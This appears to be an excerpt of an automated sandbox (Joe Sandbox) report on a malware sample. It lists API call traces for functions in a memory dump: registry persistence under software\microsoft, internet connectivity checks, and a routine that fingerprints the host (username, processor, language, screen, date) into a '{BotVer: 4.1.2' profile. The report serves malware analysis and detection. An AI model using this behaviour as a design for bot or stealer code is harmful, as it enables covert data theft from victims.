                                                                                                                                                                                                                      control_flow_graph 637 27036b0-27036cb #680 638 2703727-270374d RegOpenKeyExA 637->638 639 27036cd-27036f3 RegOpenKeyExA 637->639 642 2703776-270377d 638->642 643 270374f-2703770 RegQueryValueExA RegCloseKey 638->643 640 27036f5-2703716 RegQueryValueExA RegCloseKey 639->640 641 270371c-2703725 639->641 640->641 641->638 644 270377f-2703784 641->644 642->644 643->642
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • #680.SHELL32(74DF2F70,00000000,02706E1F), ref: 027036B8
                                                                                                                                                                                                                      • RegOpenKeyExA.ADVAPI32(80000001,software\microsoft,00000000,00000101,?), ref: 027036EF
                                                                                                                                                                                                                      • RegQueryValueExA.ADVAPI32(?,D900DA74a,00000000,?,00000000,?), ref: 0270370C
                                                                                                                                                                                                                      • RegCloseKey.ADVAPI32(?), ref: 02703716
                                                                                                                                                                                                                      • RegOpenKeyExA.ADVAPI32(80000002,software\microsoft,00000000,00000101,?), ref: 02703749
                                                                                                                                                                                                                      • RegQueryValueExA.ADVAPI32(?,D900DA74a,00000000,?,00000000,?), ref: 02703766
                                                                                                                                                                                                                      • RegCloseKey.ADVAPI32(?), ref: 02703770
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: CloseOpenQueryValue$#680
                                                                                                                                                                                                                      • String ID: D900DA74a$software\microsoft
                                                                                                                                                                                                                      • API String ID: 1151197818-193566350
                                                                                                                                                                                                                      • Opcode ID: c2b8db18d02d88bf2315eef02859868266228e0539c42e2c83ffe49300b60e46
                                                                                                                                                                                                                      • Instruction ID: c4bcc170ac2751f9910bfd023cf0027ae7f67d6946da38dbf45d2f47cfd5b4d8
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c2b8db18d02d88bf2315eef02859868266228e0539c42e2c83ffe49300b60e46
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 0B2153B5E4020AFBEB10CFA4CD85FEEBBB8EF48705F504549E501E6180E7B566048B90
                                                                                                                                                                                                                      Function 02715A50 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 118COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetSystemWindowsDirectoryA.KERNEL32(?,00000104), ref: 02715A7F
                                                                                                                                                                                                                      • GetVolumeInformationA.KERNEL32(?,00000000,00000000,00FFAAFF,00000000,00000000,00000000,00000000), ref: 02715AB8
                                                                                                                                                                                                                      • _snprintf.MSVCRT(D900DAA0a,00000104,02735748,?,?), ref: 02715B23
                                                                                                                                                                                                                      • _snprintf.MSVCRT(26EE250A,00000104,02735748,00FFAAFF,?), ref: 02715B86
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: _snprintf$DirectoryInformationSystemVolumeWindows
                                                                                                                                                                                                                      • String ID: 1234567890QWERTYUIOPASDFGHJKLZXCVBNM$26EE250A$D900DAA0a
                                                                                                                                                                                                                      • API String ID: 2823094833-58098188
                                                                                                                                                                                                                      • Opcode ID: d5a7afbb990591f5af90b3ae6b25a6840873bb98759b0721d4398e93f92d9569
                                                                                                                                                                                                                      • Instruction ID: d57e241b2e51c9ffcfad1987f682d2016cc33221e3d0716a31ebf7ea7af310e7
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d5a7afbb990591f5af90b3ae6b25a6840873bb98759b0721d4398e93f92d9569
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 64415B71A40119ABD714CB6C8D85BEEFBFAEFD4300F9541A5D589AB281D7B06B098740
                                                                                                                                                                                                                      Function 026F6DE0 Relevance: 7.6, APIs: 5, Instructions: 81sleepthreadCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,0000040C,00000000,00000000), ref: 026F6E00
                                                                                                                                                                                                                        • Part of subcall function 02704F80: IsNetworkAlive.SENSAPI(026F6E0D,00000000), ref: 02704F93
                                                                                                                                                                                                                        • Part of subcall function 02704F80: #680.SHELL32 ref: 02704FA1
                                                                                                                                                                                                                        • Part of subcall function 02704F80: DnsFlushResolverCache.DNSAPI ref: 02704FAB
                                                                                                                                                                                                                        • Part of subcall function 02704F80: memset.MSVCRT(?,00000000,00000103,00000000,74DF0F10), ref: 02704FC8
                                                                                                                                                                                                                        • Part of subcall function 02704F80: lstrcpynA.KERNEL32(00000000,http://,00000104,?,00000000,74DF0F10), ref: 02704FE7
                                                                                                                                                                                                                        • Part of subcall function 02704F80: StrNCatA.SHLWAPI(00000000,www.bing.com,00000104), ref: 02705000
                                                                                                                                                                                                                        • Part of subcall function 02704F80: InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02705013
                                                                                                                                                                                                                        • Part of subcall function 02704F80: memset.MSVCRT(?,00000000,00000103,?,00000000,74DF0F10), ref: 0270502C
                                                                                                                                                                                                                        • Part of subcall function 02704F80: lstrcpynA.KERNEL32(00000000,http://,00000104,?,?,?,?,00000000,74DF0F10), ref: 02705045
                                                                                                                                                                                                                        • Part of subcall function 02704F80: StrNCatA.SHLWAPI(00000000,www.microsoft.com,00000104), ref: 02705058
                                                                                                                                                                                                                        • Part of subcall function 02704F80: InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02705065
                                                                                                                                                                                                                      • Sleep.KERNEL32(000001F4,?,00000000,00000000), ref: 026F6E1C
                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,026F6A90,00000000,00000000,00000000,74DF0F10,?,00000000,00000000), ref: 026F6E78
                                                                                                                                                                                                                      • WaitForMultipleObjects.KERNEL32(00000040,?,00000001,000000FF,74DF0F10,?,00000000,00000000), ref: 026F6EA0
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(?,?,00000000,00000000), ref: 026F6EB8
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: memset$CheckConnectionInternetlstrcpyn$#680AliveCacheCloseCreateFlushHandleMultipleNetworkObjectsResolverSleepThreadWait
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 1772768556-0
                                                                                                                                                                                                                      • Opcode ID: 0b52c595fbbf69bfb69f2ea38ca7184d4893acc9ec8380a3625a2a4efebfc7d7
                                                                                                                                                                                                                      • Instruction ID: bf0a674198f6efdd734f648e6506ed71508dc59a586fade8eeb5a65e0b3e663d
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 0b52c595fbbf69bfb69f2ea38ca7184d4893acc9ec8380a3625a2a4efebfc7d7
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A5213EB3A843146BEF509764DC81F5F725EA744708F404638EB25A71C0F770D99186D9
                                                                                                                                                                                                                      Function 026F6A90 Relevance: 7.5, APIs: 5, Instructions: 42memoryCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • #680.SHELL32(?), ref: 026F6AB4
                                                                                                                                                                                                                        • Part of subcall function 026F6980: memset.MSVCRT(?,00000000,000000FF), ref: 026F69A2
                                                                                                                                                                                                                        • Part of subcall function 026F6980: memset.MSVCRT(?,00000000,00000103,?,00000000,000000FF), ref: 026F69C0
                                                                                                                                                                                                                        • Part of subcall function 026F6980: lstrcpynA.KERNEL32(?,?,00000104), ref: 026F69DD
                                                                                                                                                                                                                        • Part of subcall function 026F6980: RegOpenKeyExA.ADVAPI32(00000001,software\microsoft,00000000,00000102,?,?,?), ref: 026F6A4D
                                                                                                                                                                                                                        • Part of subcall function 026F6980: RegSetValueExA.ADVAPI32(?,D900DE38a,00000000,00000001,?,00000104), ref: 026F6A6F
                                                                                                                                                                                                                        • Part of subcall function 026F6980: RegCloseKey.ADVAPI32(?), ref: 026F6A7D
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?), ref: 026F6AE4
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 026F6AE7
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?), ref: 026F6AF4
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 026F6AF7
                                                                                                                                                                                                                        • Part of subcall function 026F6690: memset.MSVCRT(?,00000000,00000103,00000000,74DF0F10), ref: 026F66B0
                                                                                                                                                                                                                        • Part of subcall function 026F6690: calloc.MSVCRT(00000001,0000000C,00000000,00000000,00000001,00000000,/login.php,026F6E36,00000000,00000000,00000000,00000000,00000000,?,00000000,74DF0F10), ref: 026F670F
                                                                                                                                                                                                                        • Part of subcall function 026F6690: exit.MSVCRT(00000001,?,?,?,?,74DF0F10), ref: 026F671F
                                                                                                                                                                                                                        • Part of subcall function 026F6690: calloc.MSVCRT(00000001,00000004,?,?,?,?,74DF0F10), ref: 026F6729
                                                                                                                                                                                                                        • Part of subcall function 026F6690: exit.MSVCRT(00000001,?,?,?,?,?,?,74DF0F10), ref: 026F6734
                                                                                                                                                                                                                        • Part of subcall function 026F6690: calloc.MSVCRT(00000001,0000000C,?,?,?,?,?,?,74DF0F10), ref: 026F674F
                                                                                                                                                                                                                        • Part of subcall function 026F6690: exit.MSVCRT(00000001,?,?,?,?,?,?,?,?,74DF0F10), ref: 026F675C
                                                                                                                                                                                                                        • Part of subcall function 026F6690: calloc.MSVCRT(00000001,00000004,?,?,?,?,?,?,?,?,74DF0F10), ref: 026F6766
                                                                                                                                                                                                                        • Part of subcall function 026F6690: exit.MSVCRT(00000001,?,?,?,?,?,?,?,?,?,?,74DF0F10), ref: 026F6771
                                                                                                                                                                                                                        • Part of subcall function 026F6690: calloc.MSVCRT(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,74DF0F10), ref: 026F6794
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: calloc$Heapexit$memset$Process$#680CloseFreeOpenValidateValuelstrcpyn
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 1224010128-0
                                                                                                                                                                                                                      • Opcode ID: 1aeb0a033fba25bed2dccb9ff7f062b38a1afadba89eaaeb9754c82a940e1603
                                                                                                                                                                                                                      • Instruction ID: 19db11a3edbf993200cff3c3b160f537b67aa425e4460d20ffaa6e485c02a4ed
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 1aeb0a033fba25bed2dccb9ff7f062b38a1afadba89eaaeb9754c82a940e1603
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: D3F0F672981229A7CE60ABB1EC08F8BBB9CEB84726F00C426FB00D3140D7B5D050CAF1
                                                                                                                                                                                                                      Function 02714980 Relevance: 6.1, APIs: 4, Instructions: 55timeCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • OpenProcess.KERNEL32(00000400,00000000,00000000,00000000,00000000,76ECFFB0,?,?,?,?,?,02707967,00000000,?,00000000), ref: 027149AD
                                                                                                                                                                                                                      • GetProcessTimes.KERNEL32(00000000,?,?,?,02707967,?,?,?,?,?,02707967,00000000,?,00000000), ref: 027149CA
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,00000000,?,?,?,?,?,02707967,00000000,?,00000000), ref: 027149E2
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000,?,?,?,?,?,02707967,00000000), ref: 027149F3
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: HandleProcess$CloseInformationOpenTimes
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 3228293703-0
                                                                                                                                                                                                                      • Opcode ID: f7a7dbf9c1d9a54bab891108768830658454fba31df09c1db7b8d9acce705a8e
                                                                                                                                                                                                                      • Instruction ID: e6b56d336e8a2f1b0fcaba45379f4fad06b8bf5bd6125ee0ce829d475eaab6a5
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: f7a7dbf9c1d9a54bab891108768830658454fba31df09c1db7b8d9acce705a8e
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E011ECB2D00219ABCB008F9AC8849EFFBFCFF98345F50815AE905A7100D7749A558BA0
                                                                                                                                                                                                                      Function 027077C0 Relevance: 6.0, APIs: 4, Instructions: 27threadCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,02706CA0,00000000,00000000,00000000), ref: 027077D4
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,?), ref: 027077EC
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 027077FD
                                                                                                                                                                                                                      • ExitThread.KERNEL32 ref: 02707805
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: HandleThread$CloseCreateExitInformation
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 4233414108-0
                                                                                                                                                                                                                      • Opcode ID: 2fa62f724b24181a9a0cd4270d16936b652293a901c749eabbc0cde69c1ca462
                                                                                                                                                                                                                      • Instruction ID: 9e364abd7597bb8c6f961d7c6de0f0908aa29c32e4fc5b933bc03fa13432179c
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 2fa62f724b24181a9a0cd4270d16936b652293a901c749eabbc0cde69c1ca462
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: DDE06570A86314F7F7614690CD4BF5E7AECAB04B07F504004F900E50C0D7B06A04C6A9

                                                                                                                                                                                                                      Non-executed Functions

                                                                                                                                                                                                                      Function 026F4B00 Relevance: 325.1, APIs: 164, Strings: 21, Instructions: 1343filetimeCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000002,00000080,00000000,?,0274D3A4,75B05CE0), ref: 026F4C37
                                                                                                                                                                                                                        • Part of subcall function 027159D0: ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(S:(ML;;NRNWNX;;;LW),00000001,?,00000000), ref: 027159EE
                                                                                                                                                                                                                        • Part of subcall function 027159D0: GetSecurityDescriptorSacl.ADVAPI32(?,?,00000001,026F5DE8,?,?,026F5DE8,?,00000001), ref: 02715A0B
                                                                                                                                                                                                                        • Part of subcall function 027159D0: SetNamedSecurityInfoA.ADVAPI32(?,026F5DE8,00000010,00000000,00000000,00000000,00000001), ref: 02715A26
                                                                                                                                                                                                                        • Part of subcall function 027159D0: LocalFree.KERNEL32(?,?,?,026F5DE8,?,00000001), ref: 02715A37
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001,?,00000001), ref: 026F4C5E
                                                                                                                                                                                                                      • LockFile.KERNEL32(00000000,00000000,00000000,00000009,00000000), ref: 026F4C6F
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,{BotVer: ,00000009,026F3F9D,00000000), ref: 026F4C7F
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(00000000,?,00000000,00000009,00000000), ref: 026F4C90
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 026F4CA4
                                                                                                                                                                                                                      • LockFile.KERNEL32(00000000,00000000,00000000,00000005,00000000), ref: 026F4CB1
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,4.1.2,00000005,00000000,00000000), ref: 026F4CC1
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(00000000,?,00000000,00000005,00000000), ref: 026F4CD2
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 026F4CE6
                                                                                                                                                                                                                      • LockFile.KERNEL32(00000000,00000000,00000000,00000002,00000000), ref: 026F4CF3
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,02735B88,00000002,00000000,00000000), ref: 026F4D03
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(00000000,?,00000000,00000002,00000000), ref: 026F4D14
                                                                                                                                                                                                                      • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 026F4D28
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 026F4D3C
                                                                                                                                                                                                                      • LockFile.KERNEL32(00000000,00000000,00000000,0000000A,00000000), ref: 026F4D49
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,{Process: ,0000000A,00000000,00000000), ref: 026F4D59
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(00000000,?,00000000,0000000A,00000000), ref: 026F4D6A
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 026F4D9C
                                                                                                                                                                                                                      • LockFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 026F4DAB
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,?,?,00000000,00000000), ref: 026F4DBF
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 026F4DD2
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 026F4DE6
                                                                                                                                                                                                                      • LockFile.KERNEL32(00000000,00000000,00000000,00000002,00000000), ref: 026F4DF3
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,02735B88,00000002,00000000,00000000), ref: 026F4E03
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(00000000,00000000,00000000,00000002,00000000), ref: 026F4E14
                                                                                                                                                                                                                      • GetUserNameA.ADVAPI32(?,00000104), ref: 026F4E25
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 026F4E39
                                                                                                                                                                                                                      • LockFile.KERNEL32(00000000,00000000,00000000,0000000B,00000000), ref: 026F4E46
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,{Username: ,0000000B,00000000,00000000), ref: 026F4E56
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(00000000,00000000,00000000,0000000B,00000000), ref: 026F4E67
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 026F4E92
                                                                                                                                                                                                                      • LockFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 026F4EA1
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,?,?,00000000,00000000), ref: 026F4EB5
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 026F4EC8
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 026F4EDC
                                                                                                                                                                                                                      • LockFile.KERNEL32(00000000,00000000,00000000,00000002,00000000), ref: 026F4EE9
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,02735B88,00000002,00000000,00000000), ref: 026F4EF9
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(00000000,00000000,00000000,00000002,00000000), ref: 026F4F0A
                                                                                                                                                                                                                      • GetEnvironmentVariableA.KERNEL32(PROCESSOR_IDENTIFIER,?,00000104), ref: 026F4F21
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 026F4F35
                                                                                                                                                                                                                      • LockFile.KERNEL32(00000000,00000000,00000000,0000000C,00000000), ref: 026F4F42
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,{Processor: ,0000000C,00000000,00000000), ref: 026F4F52
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(00000000,00000000,00000000,0000000C,00000000), ref: 026F4F63
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 026F4F8E
                                                                                                                                                                                                                      • LockFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 026F4F9D
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,?,?,00000000,00000000), ref: 026F4FB1
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 026F4FC4
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 026F4FD8
                                                                                                                                                                                                                      • LockFile.KERNEL32(00000000,00000000,00000000,00000002,00000000), ref: 026F4FE5
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,02735B88,00000002,00000000,00000000), ref: 026F4FF5
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(00000000,00000000,00000000,00000002,00000000), ref: 026F5006
                                                                                                                                                                                                                      • GetSystemDefaultLangID.KERNEL32 ref: 026F500C
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,00000104), ref: 026F5026
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 026F5093
                                                                                                                                                                                                                      • LockFile.KERNEL32(00000000,00000000,00000000,0000000B,00000000), ref: 026F50A0
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,{Language: ,0000000B,00000000,00000000), ref: 026F50B0
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(00000000,00000000,00000000,0000000B,00000000), ref: 026F50C1
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 026F50EC
                                                                                                                                                                                                                      • LockFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 026F50FB
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,?,?,00000000,00000000), ref: 026F510F
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 026F5122
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 026F5136
                                                                                                                                                                                                                      • LockFile.KERNEL32(00000000,00000000,00000000,00000002,00000000), ref: 026F5143
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,02735B88,00000002,00000000,00000000), ref: 026F5153
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(00000000,00000000,00000000,00000002,00000000), ref: 026F5164
                                                                                                                                                                                                                      • GetDC.USER32(00000000,0000000C), ref: 026F516E
                                                                                                                                                                                                                      • GetDeviceCaps.GDI32(00000000), ref: 026F5175
                                                                                                                                                                                                                      • GetSystemMetrics.USER32(00000001,00000000), ref: 026F517E
                                                                                                                                                                                                                      • GetSystemMetrics.USER32(00000000,00000000), ref: 026F5187
                                                                                                                                                                                                                      • _snprintf.MSVCRT(?,00000104,%dx%d@%d,00000000), ref: 026F519F
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 026F51B6
                                                                                                                                                                                                                      • LockFile.KERNEL32(00000000,00000000,00000000,00000009,00000000), ref: 026F51C3
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,{Screen: ,00000009,00000000,00000000), ref: 026F51D3
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(00000000,00000000,00000000,00000009,00000000), ref: 026F51E4
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 026F520F
                                                                                                                                                                                                                      • LockFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 026F521E
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,?,?,00000000,00000000), ref: 026F5232
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 026F5245
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 026F5259
                                                                                                                                                                                                                      • LockFile.KERNEL32(00000000,00000000,00000000,00000002,00000000), ref: 026F5266
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,02735B88,00000002,00000000,00000000), ref: 026F5276
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(00000000,00000000,00000000,00000002,00000000), ref: 026F5287
                                                                                                                                                                                                                      • GetDateFormatA.KERNEL32(00000409,00000000,00000000,dd:MMM:yyyy,?,00000104), ref: 026F52A7
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 026F52BB
                                                                                                                                                                                                                      • LockFile.KERNEL32(00000000,00000000,00000000,00000007,00000000), ref: 026F52C8
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,{Date: ,00000007,00000000,00000000), ref: 026F52D8
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(00000000,00000000,00000000,00000007,00000000), ref: 026F52E9
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 026F5314
                                                                                                                                                                                                                      • LockFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 026F5323
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,?,?,00000000,00000000), ref: 026F5337
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 026F534A
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 026F535E
                                                                                                                                                                                                                      • LockFile.KERNEL32(00000000,00000000,00000000,00000002,00000000), ref: 026F536B
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,02735B88,00000002,00000000,00000000), ref: 026F537B
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(00000000,00000000,00000000,00000002,00000000), ref: 026F538C
                                                                                                                                                                                                                      • GetTimeFormatA.KERNEL32(00000409,00000000,00000000,HH:mm:ss,?,00000104), ref: 026F53AC
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 026F53C0
